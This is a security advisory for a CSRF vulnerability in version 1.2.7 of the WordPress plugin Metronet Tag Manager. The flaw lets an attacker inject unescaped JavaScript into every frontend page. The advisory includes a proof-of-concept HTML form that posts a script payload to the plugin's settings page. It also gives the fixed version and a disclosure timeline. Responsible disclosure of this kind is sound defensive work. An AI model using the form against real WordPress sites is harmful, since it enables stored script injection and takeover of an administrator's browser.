Details
================
Software: Metronet Tag Manager
Version: 1.2.7
Homepage: https://wordpress.org/plugins/metronet-tag-manager/
Advisory report: https://advisories.dxw.com/advisories/csrf-metronet-tag-manager/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
================
CSRF in Metronet Tag Manager allows anybody to do almost anything an admin can

Vulnerability
================
The pluginas settings page sends a nonce, and checks it when displaying the success/failure message, but is not checked when setting options.
This option is meant to contain JavaScript for Google Tag Manager, so itas displayed on every frontend page without escaping.
As this vulnerability allows adding arbitrary JavaScript, the attacker can use it to control an admin useras browser to do almost anything an admin user can do.

Proof of concept
================
Press submit on a page containing the following HTML snippet:
<form method=\"POST\" action=\"http://localhost/wp-admin/options-general.php?page=metronet-tag-manager\">
 <input type=\"text\" name=\"submit\" value=\"1\">
 <input type=\"text\" name=\"gtm-code-head\" value=\"<script>alert(1)</script>\">
 <input type=\"submit\">
</form>
In a real attack, the form can be made to autosubmit so the victim only has to follow a link.

Mitigations
================
Upgrade to version 1.2.9 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2018-04-13: Discovered
2018-04-16: Reported to plugin author via Facebook private message
2018-04-17: Plugin author confirmed receipt of message
2018-04-24: Plugin changelog indicates bug has been fixed in 1.2.9
2018-05-15: Advisory published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.